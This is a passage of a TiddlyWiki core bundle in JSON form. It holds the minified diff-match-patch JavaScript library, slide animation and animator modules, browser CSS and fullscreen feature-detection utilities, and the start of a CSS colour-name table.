DIFF_DELETE:b[g]='<del style=\"background:#ffe6e6;\">'+l+\"</del>\";break;case DIFF_EQUAL:b[g]=\"<span>\"+l+\"</span>\"}}return b.join(\"\")};\ndiff_match_patch.prototype.diff_text1=function(a){for(var b=[],c=0;c<a.length;c++)a[c][0]!==DIFF_INSERT&&(b[c]=a[c][1]);return b.join(\"\")};diff_match_patch.prototype.diff_text2=function(a){for(var b=[],c=0;c<a.length;c++)a[c][0]!==DIFF_DELETE&&(b[c]=a[c][1]);return b.join(\"\")};\ndiff_match_patch.prototype.diff_levenshtein=function(a){for(var b=0,c=0,d=0,e=0;e<a.length;e++){var f=a[e][1];switch(a[e][0]){case DIFF_INSERT:c+=f.length;break;case DIFF_DELETE:d+=f.length;break;case DIFF_EQUAL:b+=Math.max(c,d),d=c=0}}return b+=Math.max(c,d)};\ndiff_match_patch.prototype.diff_toDelta=function(a){for(var b=[],c=0;c<a.length;c++)switch(a[c][0]){case DIFF_INSERT:b[c]=\"+\"+encodeURI(a[c][1]);break;case DIFF_DELETE:b[c]=\"-\"+a[c][1].length;break;case DIFF_EQUAL:b[c]=\"=\"+a[c][1].length}return b.join(\"\\t\").replace(/%20/g,\" \")};\ndiff_match_patch.prototype.diff_fromDelta=function(a,b){for(var c=[],d=0,e=0,f=b.split(/\\t/g),g=0;g<f.length;g++){var h=f[g].substring(1);switch(f[g].charAt(0)){case \"+\":try{c[d++]=[DIFF_INSERT,decodeURI(h)]}catch(k){throw Error(\"Illegal escape in diff_fromDelta: \"+h);}break;case \"-\":case \"=\":var l=parseInt(h,10);if(isNaN(l)||0>l)throw Error(\"Invalid number in diff_fromDelta: \"+h);h=a.substring(e,e+=l);\"=\"==f[g].charAt(0)?c[d++]=[DIFF_EQUAL,h]:c[d++]=[DIFF_DELETE,h];break;default:if(f[g])throw Error(\"Invalid diff operation in diff_fromDelta: \"+\nf[g]);}}if(e!=a.length)throw Error(\"Delta length (\"+e+\") does not equal source text length (\"+a.length+\").\");return c};diff_match_patch.prototype.match_main=function(a,b,c){if(null==a||null==b||null==c)throw Error(\"Null input. (match_main)\");c=Math.max(0,Math.min(c,a.length));return a==b?0:a.length?a.substring(c,c+b.length)==b?c:this.match_bitap_(a,b,c):-1};\ndiff_match_patch.prototype.match_bitap_=function(a,b,c){function d(a,d){var e=a/b.length,g=Math.abs(c-d);return f.Match_Distance?e+g/f.Match_Distance:g?1:e}if(b.length>this.Match_MaxBits)throw Error(\"Pattern too long for this browser.\");var e=this.match_alphabet_(b),f=this,g=this.Match_Threshold,h=a.indexOf(b,c);-1!=h&&(g=Math.min(d(0,h),g),h=a.lastIndexOf(b,c+b.length),-1!=h&&(g=Math.min(d(0,h),g)));var l=1<<b.length-1;h=-1;for(var k,m,p=b.length+a.length,x,w=0;w<b.length;w++){k=0;for(m=p;k<m;)d(w,\nc+m)<=g?k=m:p=m,m=Math.floor((p-k)/2+k);p=m;k=Math.max(1,c-m+1);var q=Math.min(c+m,a.length)+b.length;m=Array(q+2);for(m[q+1]=(1<<w)-1;q>=k;q--){var t=e[a.charAt(q-1)];m[q]=0===w?(m[q+1]<<1|1)&t:(m[q+1]<<1|1)&t|(x[q+1]|x[q])<<1|1|x[q+1];if(m[q]&l&&(t=d(w,q-1),t<=g))if(g=t,h=q-1,h>c)k=Math.max(1,2*c-h);else break}if(d(w+1,c)>g)break;x=m}return h};\ndiff_match_patch.prototype.match_alphabet_=function(a){for(var b={},c=0;c<a.length;c++)b[a.charAt(c)]=0;for(c=0;c<a.length;c++)b[a.charAt(c)]|=1<<a.length-c-1;return b};\ndiff_match_patch.prototype.patch_addContext_=function(a,b){if(0!=b.length){for(var c=b.substring(a.start2,a.start2+a.length1),d=0;b.indexOf(c)!=b.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)d+=this.Patch_Margin,c=b.substring(a.start2-d,a.start2+a.length1+d);d+=this.Patch_Margin;(c=b.substring(a.start2-d,a.start2))&&a.diffs.unshift([DIFF_EQUAL,c]);(d=b.substring(a.start2+a.length1,a.start2+a.length1+d))&&a.diffs.push([DIFF_EQUAL,d]);a.start1-=c.length;a.start2-=\nc.length;a.length1+=c.length+d.length;a.length2+=c.length+d.length}};\ndiff_match_patch.prototype.patch_make=function(a,b,c){if(\"string\"==typeof a&&\"string\"==typeof b&&\"undefined\"==typeof c){var d=a;b=this.diff_main(d,b,!0);2<b.length&&(this.diff_cleanupSemantic(b),this.diff_cleanupEfficiency(b))}else if(a&&\"object\"==typeof a&&\"undefined\"==typeof b&&\"undefined\"==typeof c)b=a,d=this.diff_text1(b);else if(\"string\"==typeof a&&b&&\"object\"==typeof b&&\"undefined\"==typeof c)d=a;else if(\"string\"==typeof a&&\"string\"==typeof b&&c&&\"object\"==typeof c)d=a,b=c;else throw Error(\"Unknown call format to patch_make.\");\nif(0===b.length)return[];c=[];a=new diff_match_patch.patch_obj;for(var e=0,f=0,g=0,h=d,l=0;l<b.length;l++){var k=b[l][0],m=b[l][1];e||k===DIFF_EQUAL||(a.start1=f,a.start2=g);switch(k){case DIFF_INSERT:a.diffs[e++]=b[l];a.length2+=m.length;d=d.substring(0,g)+m+d.substring(g);break;case DIFF_DELETE:a.length1+=m.length;a.diffs[e++]=b[l];d=d.substring(0,g)+d.substring(g+m.length);break;case DIFF_EQUAL:m.length<=2*this.Patch_Margin&&e&&b.length!=l+1?(a.diffs[e++]=b[l],a.length1+=m.length,a.length2+=m.length):\nm.length>=2*this.Patch_Margin&&e&&(this.patch_addContext_(a,h),c.push(a),a=new diff_match_patch.patch_obj,e=0,h=d,f=g)}k!==DIFF_INSERT&&(f+=m.length);k!==DIFF_DELETE&&(g+=m.length)}e&&(this.patch_addContext_(a,h),c.push(a));return c};\ndiff_match_patch.prototype.patch_deepCopy=function(a){for(var b=[],c=0;c<a.length;c++){var d=a[c],e=new diff_match_patch.patch_obj;e.diffs=[];for(var f=0;f<d.diffs.length;f++)e.diffs[f]=d.diffs[f].slice();e.start1=d.start1;e.start2=d.start2;e.length1=d.length1;e.length2=d.length2;b[c]=e}return b};\ndiff_match_patch.prototype.patch_apply=function(a,b){if(0==a.length)return[b,[]];a=this.patch_deepCopy(a);var c=this.patch_addPadding(a);b=c+b+c;this.patch_splitMax(a);for(var d=0,e=[],f=0;f<a.length;f++){var g=a[f].start2+d,h=this.diff_text1(a[f].diffs),l=-1;if(h.length>this.Match_MaxBits){var k=this.match_main(b,h.substring(0,this.Match_MaxBits),g);-1!=k&&(l=this.match_main(b,h.substring(h.length-this.Match_MaxBits),g+h.length-this.Match_MaxBits),-1==l||k>=l)&&(k=-1)}else k=this.match_main(b,h,\ng);if(-1==k)e[f]=!1,d-=a[f].length2-a[f].length1;else if(e[f]=!0,d=k-g,g=-1==l?b.substring(k,k+h.length):b.substring(k,l+this.Match_MaxBits),h==g)b=b.substring(0,k)+this.diff_text2(a[f].diffs)+b.substring(k+h.length);else if(g=this.diff_main(h,g,!1),h.length>this.Match_MaxBits&&this.diff_levenshtein(g)/h.length>this.Patch_DeleteThreshold)e[f]=!1;else{this.diff_cleanupSemanticLossless(g);h=0;var m;for(l=0;l<a[f].diffs.length;l++){var p=a[f].diffs[l];p[0]!==DIFF_EQUAL&&(m=this.diff_xIndex(g,h));p[0]===\nDIFF_INSERT?b=b.substring(0,k+m)+p[1]+b.substring(k+m):p[0]===DIFF_DELETE&&(b=b.substring(0,k+m)+b.substring(k+this.diff_xIndex(g,h+p[1].length)));p[0]!==DIFF_DELETE&&(h+=p[1].length)}}}b=b.substring(c.length,b.length-c.length);return[b,e]};\ndiff_match_patch.prototype.patch_addPadding=function(a){for(var b=this.Patch_Margin,c=\"\",d=1;d<=b;d++)c+=String.fromCharCode(d);for(d=0;d<a.length;d++)a[d].start1+=b,a[d].start2+=b;d=a[0];var e=d.diffs;if(0==e.length||e[0][0]!=DIFF_EQUAL)e.unshift([DIFF_EQUAL,c]),d.start1-=b,d.start2-=b,d.length1+=b,d.length2+=b;else if(b>e[0][1].length){var f=b-e[0][1].length;e[0][1]=c.substring(e[0][1].length)+e[0][1];d.start1-=f;d.start2-=f;d.length1+=f;d.length2+=f}d=a[a.length-1];e=d.diffs;0==e.length||e[e.length-\n1][0]!=DIFF_EQUAL?(e.push([DIFF_EQUAL,c]),d.length1+=b,d.length2+=b):b>e[e.length-1][1].length&&(f=b-e[e.length-1][1].length,e[e.length-1][1]+=c.substring(0,f),d.length1+=f,d.length2+=f);return c};\ndiff_match_patch.prototype.patch_splitMax=function(a){for(var b=this.Match_MaxBits,c=0;c<a.length;c++)if(!(a[c].length1<=b)){var d=a[c];a.splice(c--,1);for(var e=d.start1,f=d.start2,g=\"\";0!==d.diffs.length;){var h=new diff_match_patch.patch_obj,l=!0;h.start1=e-g.length;h.start2=f-g.length;\"\"!==g&&(h.length1=h.length2=g.length,h.diffs.push([DIFF_EQUAL,g]));for(;0!==d.diffs.length&&h.length1<b-this.Patch_Margin;){g=d.diffs[0][0];var k=d.diffs[0][1];g===DIFF_INSERT?(h.length2+=k.length,f+=k.length,h.diffs.push(d.diffs.shift()),\nl=!1):g===DIFF_DELETE&&1==h.diffs.length&&h.diffs[0][0]==DIFF_EQUAL&&k.length>2*b?(h.length1+=k.length,e+=k.length,l=!1,h.diffs.push([g,k]),d.diffs.shift()):(k=k.substring(0,b-h.length1-this.Patch_Margin),h.length1+=k.length,e+=k.length,g===DIFF_EQUAL?(h.length2+=k.length,f+=k.length):l=!1,h.diffs.push([g,k]),k==d.diffs[0][1]?d.diffs.shift():d.diffs[0][1]=d.diffs[0][1].substring(k.length))}g=this.diff_text2(h.diffs);g=g.substring(g.length-this.Patch_Margin);k=this.diff_text1(d.diffs).substring(0,\nthis.Patch_Margin);\"\"!==k&&(h.length1+=k.length,h.length2+=k.length,0!==h.diffs.length&&h.diffs[h.diffs.length-1][0]===DIFF_EQUAL?h.diffs[h.diffs.length-1][1]+=k:h.diffs.push([DIFF_EQUAL,k]));l||a.splice(++c,0,h)}}};diff_match_patch.prototype.patch_toText=function(a){for(var b=[],c=0;c<a.length;c++)b[c]=a[c];return b.join(\"\")};\ndiff_match_patch.prototype.patch_fromText=function(a){var b=[];if(!a)return b;a=a.split(\"\\n\");for(var c=0,d=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;c<a.length;){var e=a[c].match(d);if(!e)throw Error(\"Invalid patch string: \"+a[c]);var f=new diff_match_patch.patch_obj;b.push(f);f.start1=parseInt(e[1],10);\"\"===e[2]?(f.start1--,f.length1=1):\"0\"==e[2]?f.length1=0:(f.start1--,f.length1=parseInt(e[2],10));f.start2=parseInt(e[3],10);\"\"===e[4]?(f.start2--,f.length2=1):\"0\"==e[4]?f.length2=0:(f.start2--,f.length2=\nparseInt(e[4],10));for(c++;c<a.length;){e=a[c].charAt(0);try{var g=decodeURI(a[c].substring(1))}catch(h){throw Error(\"Illegal escape in patch_fromText: \"+g);}if(\"-\"==e)f.diffs.push([DIFF_DELETE,g]);else if(\"+\"==e)f.diffs.push([DIFF_INSERT,g]);else if(\" \"==e)f.diffs.push([DIFF_EQUAL,g]);else if(\"@\"==e)break;else if(\"\"!==e)throw Error('Invalid patch mode \"'+e+'\" in: '+g);c++}}return b};diff_match_patch.patch_obj=function(){this.diffs=[];this.start2=this.start1=null;this.length2=this.length1=0};\ndiff_match_patch.patch_obj.prototype.toString=function(){for(var a=[\"@@ -\"+(0===this.length1?this.start1+\",0\":1==this.length1?this.start1+1:this.start1+1+\",\"+this.length1)+\" +\"+(0===this.length2?this.start2+\",0\":1==this.length2?this.start2+1:this.start2+1+\",\"+this.length2)+\" @@\\n\"],b,c=0;c<this.diffs.length;c++){switch(this.diffs[c][0]){case DIFF_INSERT:b=\"+\";break;case DIFF_DELETE:b=\"-\";break;case DIFF_EQUAL:b=\" \"}a[c+1]=b+encodeURI(this.diffs[c][1])+\"\\n\"}return a.join(\"\").replace(/%20/g,\" \")};\nthis.diff_match_patch=diff_match_patch;this.DIFF_DELETE=DIFF_DELETE;this.DIFF_INSERT=DIFF_INSERT;this.DIFF_EQUAL=DIFF_EQUAL;\n}).call(exports);",
"type": "application/javascript",
"title": "$:/core/modules/utils/diff-match-patch/diff_match_patch.js",
"module-type": "library"
},
"$:/core/modules/utils/dom/animations/slide.js": {
"title": "$:/core/modules/utils/dom/animations/slide.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/animations/slide.js\ntype: application/javascript\nmodule-type: animation\n\nA simple slide animation that varies the height of the element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction slideOpen(domNode,options) {\n\toptions = options || {};\n\tvar duration = options.duration || $tw.utils.getAnimationDuration();\n\t// Get the current height of the domNode\n\tvar computedStyle = window.getComputedStyle(domNode),\n\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\tcurrPaddingBottom = parseInt(computedStyle.paddingBottom,10),\n\t\tcurrPaddingTop = parseInt(computedStyle.paddingTop,10),\n\t\tcurrHeight = domNode.offsetHeight;\n\t// Reset the margin once the transition is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(domNode,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: \"\"},\n\t\t\t{marginTop: \"\"},\n\t\t\t{paddingBottom: \"\"},\n\t\t\t{paddingTop: \"\"},\n\t\t\t{height: \"auto\"},\n\t\t\t{opacity: \"\"}\n\t\t]);\n\t\tif(options.callback) {\n\t\t\toptions.callback();\n\t\t}\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"none\"},\n\t\t{marginTop: \"0px\"},\n\t\t{marginBottom: \"0px\"},\n\t\t{paddingTop: \"0px\"},\n\t\t{paddingBottom: \"0px\"},\n\t\t{height: \"0px\"},\n\t\t{opacity: \"0\"}\n\t]);\n\t$tw.utils.forceLayout(domNode);\n\t// Transition to the final position\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"margin-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"height \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{marginBottom: currMarginBottom + \"px\"},\n\t\t{marginTop: currMarginTop + \"px\"},\n\t\t{paddingBottom: currPaddingBottom + \"px\"},\n\t\t{paddingTop: currPaddingTop + \"px\"},\n\t\t{height: currHeight + \"px\"},\n\t\t{opacity: \"1\"}\n\t]);\n}\n\nfunction slideClosed(domNode,options) {\n\toptions = options || {};\n\tvar duration = options.duration || $tw.utils.getAnimationDuration(),\n\t\tcurrHeight = domNode.offsetHeight;\n\t// Clear the properties we've set when the animation is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(domNode,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: \"\"},\n\t\t\t{marginTop: \"\"},\n\t\t\t{paddingBottom: \"\"},\n\t\t\t{paddingTop: \"\"},\n\t\t\t{height: \"auto\"},\n\t\t\t{opacity: \"\"}\n\t\t]);\n\t\tif(options.callback) {\n\t\t\toptions.callback();\n\t\t}\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(domNode,[\n\t\t{height: currHeight + \"px\"},\n\t\t{opacity: \"1\"}\n\t]);\n\t$tw.utils.forceLayout(domNode);\n\t// Transition to the final position\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"margin-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"height \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{marginTop: \"0px\"},\n\t\t{marginBottom: \"0px\"},\n\t\t{paddingTop: \"0px\"},\n\t\t{paddingBottom: \"0px\"},\n\t\t{height: \"0px\"},\n\t\t{opacity: \"0\"}\n\t]);\n}\n\nexports.slide = {\n\topen: slideOpen,\n\tclose: slideClosed\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "animation"
},
"$:/core/modules/utils/dom/animator.js": {
"title": "$:/core/modules/utils/dom/animator.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/animator.js\ntype: application/javascript\nmodule-type: utils\n\nOrchestrates animations and transitions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction Animator() {\n\t// Get the registered animation modules\n\tthis.animations = {};\n\t$tw.modules.applyMethods(\"animation\",this.animations);\n}\n\nAnimator.prototype.perform = function(type,domNode,options) {\n\toptions = options || {};\n\t// Find an animation that can handle this type\n\tvar chosenAnimation;\n\t$tw.utils.each(this.animations,function(animation,name) {\n\t\tif($tw.utils.hop(animation,type)) {\n\t\t\tchosenAnimation = animation[type];\n\t\t}\n\t});\n\tif(!chosenAnimation) {\n\t\tchosenAnimation = function(domNode,options) {\n\t\t\tif(options.callback) {\n\t\t\t\toptions.callback();\n\t\t\t}\n\t\t};\n\t}\n\t// Call the animation\n\tchosenAnimation(domNode,options);\n};\n\nexports.Animator = Animator;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/browser.js": {
"title": "$:/core/modules/utils/dom/browser.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/browser.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser feature detection\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSet style properties of an element\n\telement: dom node\n\tstyles: ordered array of {name: value} pairs\n*/\nexports.setStyle = function(element,styles) {\n\tif(element.nodeType === 1) { // Element.ELEMENT_NODE\n\t\tfor(var t=0; t<styles.length; t++) {\n\t\t\tfor(var styleName in styles[t]) {\n\t\t\t\telement.style[$tw.utils.convertStyleNameToPropertyName(styleName)] = styles[t][styleName];\n\t\t\t}\n\t\t}\n\t}\n};\n\n/*\nConverts a standard CSS property name into the local browser-specific equivalent. For example:\n\t\"background-color\" --> \"backgroundColor\"\n\t\"transition\" --> \"webkitTransition\"\n*/\n\nvar styleNameCache = {}; // We'll cache the style name conversions\n\nexports.convertStyleNameToPropertyName = function(styleName) {\n\t// Return from the cache if we can\n\tif(styleNameCache[styleName]) {\n\t\treturn styleNameCache[styleName];\n\t}\n\t// Convert it by first removing any hyphens\n\tvar propertyName = $tw.utils.unHyphenateCss(styleName);\n\t// Then check if it needs a prefix\n\tif($tw.browser && document.body.style[propertyName] === undefined) {\n\t\tvar prefixes = [\"O\",\"MS\",\"Moz\",\"webkit\"];\n\t\tfor(var t=0; t<prefixes.length; t++) {\n\t\t\tvar prefixedName = prefixes[t] + propertyName.substr(0,1).toUpperCase() + propertyName.substr(1);\n\t\t\tif(document.body.style[prefixedName] !== undefined) {\n\t\t\t\tpropertyName = prefixedName;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t// Put it in the cache too\n\tstyleNameCache[styleName] = propertyName;\n\treturn propertyName;\n};\n\n/*\nConverts a JS format CSS property name back into the dashed form used in CSS declarations. For example:\n\t\"backgroundColor\" --> \"background-color\"\n\t\"webkitTransform\" --> \"-webkit-transform\"\n*/\nexports.convertPropertyNameToStyleName = function(propertyName) {\n\t// Rehyphenate the name\n\tvar styleName = $tw.utils.hyphenateCss(propertyName);\n\t// If there's a webkit prefix, add a dash (other browsers have uppercase prefixes, and so get the dash automatically)\n\tif(styleName.indexOf(\"webkit\") === 0) {\n\t\tstyleName = \"-\" + styleName;\n\t} else if(styleName.indexOf(\"-m-s\") === 0) {\n\t\tstyleName = \"-ms\" + styleName.substr(4);\n\t}\n\treturn styleName;\n};\n\n/*\nRound trip a stylename to a property name and back again. For example:\n\t\"transform\" --> \"webkitTransform\" --> \"-webkit-transform\"\n*/\nexports.roundTripPropertyName = function(propertyName) {\n\treturn $tw.utils.convertPropertyNameToStyleName($tw.utils.convertStyleNameToPropertyName(propertyName));\n};\n\n/*\nConverts a standard event name into the local browser specific equivalent. For example:\n\t\"animationEnd\" --> \"webkitAnimationEnd\"\n*/\n\nvar eventNameCache = {}; // We'll cache the conversions\n\nvar eventNameMappings = {\n\t\"transitionEnd\": {\n\t\tcorrespondingCssProperty: \"transition\",\n\t\tmappings: {\n\t\t\ttransition: \"transitionend\",\n\t\t\tOTransition: \"oTransitionEnd\",\n\t\t\tMSTransition: \"msTransitionEnd\",\n\t\t\tMozTransition: \"transitionend\",\n\t\t\twebkitTransition: \"webkitTransitionEnd\"\n\t\t}\n\t},\n\t\"animationEnd\": {\n\t\tcorrespondingCssProperty: \"animation\",\n\t\tmappings: {\n\t\t\tanimation: \"animationend\",\n\t\t\tOAnimation: \"oAnimationEnd\",\n\t\t\tMSAnimation: \"msAnimationEnd\",\n\t\t\tMozAnimation: \"animationend\",\n\t\t\twebkitAnimation: \"webkitAnimationEnd\"\n\t\t}\n\t}\n};\n\nexports.convertEventName = function(eventName) {\n\tif(eventNameCache[eventName]) {\n\t\treturn eventNameCache[eventName];\n\t}\n\tvar newEventName = eventName,\n\t\tmappings = eventNameMappings[eventName];\n\tif(mappings) {\n\t\tvar convertedProperty = $tw.utils.convertStyleNameToPropertyName(mappings.correspondingCssProperty);\n\t\tif(mappings.mappings[convertedProperty]) {\n\t\t\tnewEventName = mappings.mappings[convertedProperty];\n\t\t}\n\t}\n\t// Put it in the cache too\n\teventNameCache[eventName] = newEventName;\n\treturn newEventName;\n};\n\n/*\nReturn the names of the fullscreen APIs\n*/\nexports.getFullScreenApis = function() {\n\tvar d = document,\n\t\tdb = d.body,\n\t\tresult = {\n\t\t\"_requestFullscreen\": db.webkitRequestFullscreen !== undefined ? \"webkitRequestFullscreen\" :\n\t\t\t\t\t\t\tdb.mozRequestFullScreen !== undefined ? \"mozRequestFullScreen\" :\n\t\t\t\t\t\t\tdb.msRequestFullscreen !== undefined ? \"msRequestFullscreen\" :\n\t\t\t\t\t\t\tdb.requestFullscreen !== undefined ? \"requestFullscreen\" : \"\",\n\t\t\"_exitFullscreen\": d.webkitExitFullscreen !== undefined ? \"webkitExitFullscreen\" :\n\t\t\t\t\t\t\td.mozCancelFullScreen !== undefined ? \"mozCancelFullScreen\" :\n\t\t\t\t\t\t\td.msExitFullscreen !== undefined ? \"msExitFullscreen\" :\n\t\t\t\t\t\t\td.exitFullscreen !== undefined ? \"exitFullscreen\" : \"\",\n\t\t\"_fullscreenElement\": d.webkitFullscreenElement !== undefined ? \"webkitFullscreenElement\" :\n\t\t\t\t\t\t\td.mozFullScreenElement !== undefined ? \"mozFullScreenElement\" :\n\t\t\t\t\t\t\td.msFullscreenElement !== undefined ? \"msFullscreenElement\" :\n\t\t\t\t\t\t\td.fullscreenElement !== undefined ? \"fullscreenElement\" : \"\",\n\t\t\"_fullscreenChange\": d.webkitFullscreenElement !== undefined ? \"webkitfullscreenchange\" :\n\t\t\t\t\t\t\td.mozFullScreenElement !== undefined ? \"mozfullscreenchange\" :\n\t\t\t\t\t\t\td.msFullscreenElement !== undefined ? \"MSFullscreenChange\" :\n\t\t\t\t\t\t\td.fullscreenElement !== undefined ? \"fullscreenchange\" : \"\"\n\t};\n\tif(!result._requestFullscreen || !result._exitFullscreen || !result._fullscreenElement || !result._fullscreenChange) {\n\t\treturn null;\n\t} else {\n\t\treturn result;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/csscolorparser.js": {
"title": "$:/core/modules/utils/dom/csscolorparser.js",
"text": "// (c) Dean McNamee <dean@gmail.com>, 2012.\n//\n// https://github.com/deanm/css-color-parser-js\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to\n// deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n// sell copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n// IN THE SOFTWARE.\n\n// http://www.w3.org/TR/css3-color/\nvar kCSSColorTable = {\n \"transparent\": [0,0,0,0], \"aliceblue\": [240,248,255,1],\n \"antiquewhite\": [250,235,215,1], \"aqua\": [0,255,255,1],\n \"aquamarine\": [127,255,212,1], \"azure\": [240,255,255,1],\n \"beige\": [245,245,220,1], \"bisque\": [255,228,196,1],\n \"black\": [0,0,0,1], \"blanchedalmond\": [255,235,205,1],\n \"blue\": [0,0,255,1], \"blueviolet\": [138,43,226,1],\n \"brown\": [165,42,42,1], \"burlywood\": [222,184,135,1],\n \"cadetblue\": [95,158,160,1], \"chartreuse\": [127,255,0,1],\n \"chocolate\": [210,105,30,1], \"coral\": [255,127,80,1],\n \"cornflowerblue\": [100,149,237,1], \"cornsilk\": [255,248,220,1],\n \"crimson\": [220,20,60,1], \"cyan\": [0,255,255,1],\n \"darkblue\": [0,0,139,1], \"darkcyan\": [0,139,139,1],\n \"darkgoldenrod\": [184,134,11,1], \"darkgray\": [169,169,169,1],\n \"darkgreen\": [0,100,0,1], \"darkgrey\": [169,169,169,1],\n \"darkkhaki\": [189,183,107,1], \"darkmagenta\": [139,0,139,1],\n \"darkolivegreen\": [85,107,47,1], \"darkorange\": [255,140,0,1],\n \"darkorchid\": [153,50,204,1], \"darkred\": [139,0,0,1],\n \"darksalmon\": [233,150,122,1], \"darkseagreen\": [143,188,143,1],\n \"darkslateblue\": [72,61,139,1], \"darkslategray\": [47,79,79,1],\n \"darkslategrey\": [47,79,79,1], \"darkturquoise\": [0,206,209,1],\n \"darkviolet\": [148,0,211,1], \"deeppink\": [255,20,147,1],\n \"deepskyblue\": [0,191,255,1], \"dimgray\": [105,105,105,1],\n \"dimgrey\": [105,105,105,1], \"dodgerblue\": [30,144,255,1],\n \"firebrick\": [178,34,34,1], \"floralwhite\": [255,250,240,1],\n \"forestgreen\": [34,139,34,1], \"fuchsia\": [255,0,255,1],\n \"gainsboro\": [220,220,220,1], \"ghostwhite\": [248,248,255,1],\n \"gold\": [255,215,0,1], \"goldenrod\": [218,165,32,1],\n \"gray\": [128,128,128,1], \"green\": [0,128,0,1],\n \"greenyellow\": [173,255,47,1], \"grey\": [128,128,128,1],\n \"honeydew\": [240,255,240,1], \"hotpink\": [255,105,180,1],\n \"indianred\": [205,92,92,1], \"indigo\": [75,0,130,1],\n \"ivory\": [255,255,240,1], \"khaki\": [240,230,140,1],\n \"lavender\": [230,230,250,1], \"lavenderblush\": [255,240,245,1],\n \"lawngreen\": [124,252,0,1], \"lemonchiffon\": [255,250,205,1],\n \"lightblue\": [173,216,230,1], \"lightcoral\": [240,128,128,1],\n \"lightcyan\": [224,255,255,1], \"lightgoldenrodyellow\": [250,250,210,1],\n \"lightgray\": [211,211,211,1], \"lightgreen\": [144,238,144,1],\n \"lightgrey\": [211,211,211,1], \"lightpink\": [255,182,193,1],\n \"lightsalmon\": [255,160,122,1], \"lightseagreen\": [32,178,170,1],\n \"lightskyblue\": [135,206,250,1], \"lightslategray\": [119,136,153,1],\n \"lightslategrey\": [119,136,153,1], \"lightsteelblue\": [176,196,222,1],\n \"lightyellow\": [255,255,224,1], \"lime\": [0,255,0,1],\n \"limegreen\": [50,205,50,1], \"linen\": [250,240,230,1],\n \"magenta\": [255,0,255,1], \"maroon\": [128,0,0,1],\n \"mediumaquamarine\": [102,205,170,1], \"mediumblue\": [0,0,205,1],\n \"mediumorchid\": [186,85,211,1], \"mediumpurple\": [147,112,219,1],\n \"mediumseagreen\": [60,179,113,1], \"mediumslateblue\": [123,104,238,1],\n \"mediumspringgreen\": [0,250,154,1], \"mediumturquoise\": [72,209,204,1],\n \"mediumvioletred\": [199,21,133,1], \"midnightblue\": [25,25,112,1],\n \"mintcream\": [245,255,250,1], \"mistyrose\": [255,228,225,1],\n \"moccasin\": [255,228,181,1], \"navajowhite\": [255,222,173,1],\n \"navy\": [0,0,128,1], \"oldlace\": [253,245,230,1],\n \"olive\": [128,128,0,1], \"olivedrab\": [107,142,35,1],\n \"orange\": [255,165,0,1], \"orangered\": [255,69,0,1],\n \"orchid\": [218,112,214,1], \"palegoldenrod\": [238,232,170,1],\n \"palegreen\": [152,251,152,1], \"paleturquoise\": [175,238,238,1],\n \"palevioletred\": [219,112,147,1], \"papayawhip\": [255,239,213,1],\n \"peachpuff\": [255,218,185,1], \"peru\": [205,133,63,1],\n \"pink\": [255,192,203,1], \"plum\": [221,160,221,1],\n \"powderblue\": [176,224,230,1], \"purple\": [128,0,128,1],\n \"red\": [255,0,0,1], \"rosybrown\": [188,143,143,1],\n \"royalblue\": 